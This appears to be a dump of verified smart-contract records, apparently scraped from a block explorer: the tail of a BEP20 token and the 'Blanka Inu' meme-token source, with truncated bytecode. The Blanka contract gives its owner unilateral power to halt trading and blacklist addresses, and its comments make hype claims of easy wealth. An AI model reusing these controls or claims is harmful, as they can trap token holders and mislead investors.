zero" ) ); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub( amount, "BEP20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) public { _burn(_msgSender(), amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub( amount, "BEP20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) public { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub( amount, "BEP20: burn amount exceeds allowance" ) ); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063893d20e8116100a2578063a22b35ce11610071578063a22b35ce1461051f578063a457c2d71461056d578063a9059cbb146105d3578063dd62ed3e14610639578063f2fde38b146106b157610116565b8063893d20e8146103c25780638da5cb5b1461040c57806395d89b4114610456578063a0712d68146104d957610116565b8063313ce567116100e9578063313ce567146102a857806339509351146102cc57806342966c681461033257806370a0823114610360578063715018a6146103b857610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b6101236106f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610797565b604051808215151515815260200191505060405180910390f35b61020c6107b5565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107bf565b604051808215151515815260200191505060405180910390f35b6102b0610898565b604051808260ff1660ff16815260200191505060405180910390f35b610318600480360360408110156102e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108af565b604051808215151515815260200191505060405180910390f35b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050610962565b005b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610976565b6040518082815260200191505060405180910390f35b6103c06109bf565b005b6103ca610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610414610b56565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61045e610b7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049e578082015181840152602081019050610483565b50505050905090810190601f1680156104cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610505600480360360208110156104ef57600080fd5b8101908080359060200190929190505050610c21565b604051808215151515815260200191505060405180910390f35b61056b6004803603604081101561053557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d06565b005b6105b96004803603604081101561058357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd5565b604051808215151515815260200191505060405180910390f35b61061f600480360360408110156105e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea2565b604051808215151515815260200191505060405180910390f35b61069b6004803603604081101561064f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ec0565b6040518082815260200191505060405180910390f35b6106f3600480360360208110156106c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f47565b005b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a461101c565b8484611024565b6001905092915050565b6000600354905090565b60006107cc84848461121b565b61088d846107d861101c565b61088885604051806060016040528060288152602001611b9260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061083e61101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b611024565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006109586108bc61101c565b8461095385600260006108cd61101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159590919063ffffffff16565b611024565b6001905092915050565b61097361096d61101c565b8261161d565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c761101c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610b51610b56565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c175780601f10610bec57610100808354040283529160200191610c17565b820191906000526020600020905b815481529060010190602001808311610bfa57829003601f168201915b5050505050905090565b6000610c2b61101c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610cfd610cf761101c565b836117d7565b60019050919050565b610d10828261161d565b610dd182610d1c61101c565b610dcc84604051806060016040528060248152602001611c6b60249139600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d8261101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b611024565b5050565b6000610e98610de261101c565b84610e9385604051806060016040528060258152602001611c036025913960026000610e0c61101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b611024565b6001905092915050565b6000610eb6610eaf61101c565b848461121b565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f4f61101c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611010576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61101981611994565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110aa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b486024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611130576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611c8f6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b236025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611327576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611be06023913960400191505060405180910390fd5b61139381604051806060016040528060268152602001611bba60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611582576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561154757808201518184015260208101905061152c565b50505050905090810190601f1680156115745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c286021913960400191505060405180910390fd5b61170f81604051806060016040528060228152602001611c4960229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d59092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061176781600354611ad890919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561187a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f42455032303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61188f8160035461159590919063ffffffff16565b6003819055506118e781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611b6c6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611b1a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d5565b90509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a206275726e2066726f6d20746865207a65726f206164647265737342455032303a206275726e20616d6f756e7420657863656564732062616c616e636542455032303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636542455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a723158208f89634c635ca56cc3715e6bf6b5303767a7588abf9c3400d127aaf78a33263964736f6c63430005100032
{"success": true, "error": null, "results": {}}
10,212
0x6491bf441cf9753e27b6cdbf09410204440cfbaa
/** *Submitted for verification at Etherscan.io on 2022-04-16 */ /* ██████╗░██╗░░░░░░█████╗░███╗░░██╗██╗░░██╗░█████╗░ ██╔══██╗██║░░░░░██╔══██╗████╗░██║██║░██╔╝██╔══██╗ ██████╦╝██║░░░░░███████║██╔██╗██║█████═╝░███████║ ██╔══██╗██║░░░░░██╔══██║██║╚████║██╔═██╗░██╔══██║ ██████╦╝███████╗██║░░██║██║░╚███║██║░╚██╗██║░░██║ ╚═════╝░╚══════╝╚═╝░░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝╚═╝░░╚═╝ https://t.me/BlankaInu https://www.BlankaInu.com Blanka a community led platform to empower people of all ages and cultures. Take control of your finance.The Blanka Inu project knows the future, it’s community can show you the path, wealth creation has never been so easy. The Future is in your hands. JOIN BLANKA! Taxes : 4% Redistribution : 2% */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BlankaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Blanka Inu"; string private constant _symbol = "BLANKA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 4; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 4; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _opAddress = payable(0xdB802dA95DfCDC1BA2412A2509390b51A8a95Bcd); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000000 * 10**9; //1 uint256 public _maxWalletSize = 1000000000000 * 10**9; //1 uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; // Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_opAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[to], "TOKEN: Your Account Is Marked As A Bot!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount <= _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _opAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _opAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _opAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBot(address isbot) public onlyOwner { bots[isbot] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { uint256 _totalbuy = redisFeeOnBuy + taxFeeOnBuy; uint256 _totalsell = redisFeeOnSell + taxFeeOnSell; require(_totalbuy <= 8); require(_totalsell <= 8); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function liftMaxLimits() public onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= 1000000000000); _maxTxAmount = maxTxAmount * 10**9 ; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= 1000000000000); _maxWalletSize = maxWalletSize * 10**9 ; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101d15760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd801461065d578063dd62ed3e14610674578063e70ef8a4146106b1578063ea1644d5146106da576101d8565b8063a9059cbb1461058f578063bd560f0d146105cc578063bdd795ef146105e3578063bfd7928414610620576101d8565b80638f9a55c0116100d15780638f9a55c0146104e757806395d89b411461051257806398a5c3151461053d578063a2a957bb14610566576101d8565b80637d1db4a5146104685780638da5cb5b146104935780638f70ccf7146104be576101d8565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d457806370a08231146103eb578063715018a61461042857806374010ece1461043f576101d8565b8063313ce5671461032c57806349bd5a5e146103575780636b999053146103825780636d8aa8f8146103ab576101d8565b806318160ddd116101ab57806318160ddd1461027057806323b872dd1461029b5780632f9c4569146102d85780632fd689e314610301576101d8565b806306fdde03146101dd578063095ea7b3146102085780631694505e14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610703565b6040516101ff9190612a17565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612ad2565b610740565b60405161023c9190612b2d565b60405180910390f35b34801561025157600080fd5b5061025a61075e565b6040516102679190612ba7565b60405180910390f35b34801561027c57600080fd5b50610285610784565b6040516102929190612bd1565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612bec565b610796565b6040516102cf9190612b2d565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190612c6b565b61086f565b005b34801561030d57600080fd5b506103166109f2565b6040516103239190612bd1565b60405180910390f35b34801561033857600080fd5b506103416109f8565b60405161034e9190612cc7565b60405180910390f35b34801561036357600080fd5b5061036c610a01565b6040516103799190612cf1565b60405180910390f35b34801561038e57600080fd5b506103a960048036038101906103a49190612d0c565b610a27565b005b3480156103b757600080fd5b506103d260048036038101906103cd9190612d39565b610b17565b005b3480156103e057600080fd5b506103e9610bc9565b005b3480156103f757600080fd5b50610412600480360381019061040d9190612d0c565b610c3b565b60405161041f9190612bd1565b60405180910390f35b34801561043457600080fd5b5061043d610c8c565b005b34801561044b57600080fd5b5061046660048036038101906104619190612d66565b610ddf565b005b34801561047457600080fd5b5061047d610e9f565b60405161048a9190612bd1565b60405180910390f35b34801561049f57600080fd5b506104a8610ea5565b6040516104b59190612cf1565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190612d39565b610ece565b005b3480156104f357600080fd5b506104fc610f80565b6040516105099190612bd1565b60405180910390f35b34801561051e57600080fd5b50610527610f86565b6040516105349190612a17565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190612d66565b610fc3565b005b34801561057257600080fd5b5061058d60048036038101906105889190612d93565b611062565b005b34801561059b57600080fd5b506105b660048036038101906105b19190612ad2565b611157565b6040516105c39190612b2d565b60405180910390f35b3480156105d857600080fd5b506105e1611175565b005b3480156105ef57600080fd5b5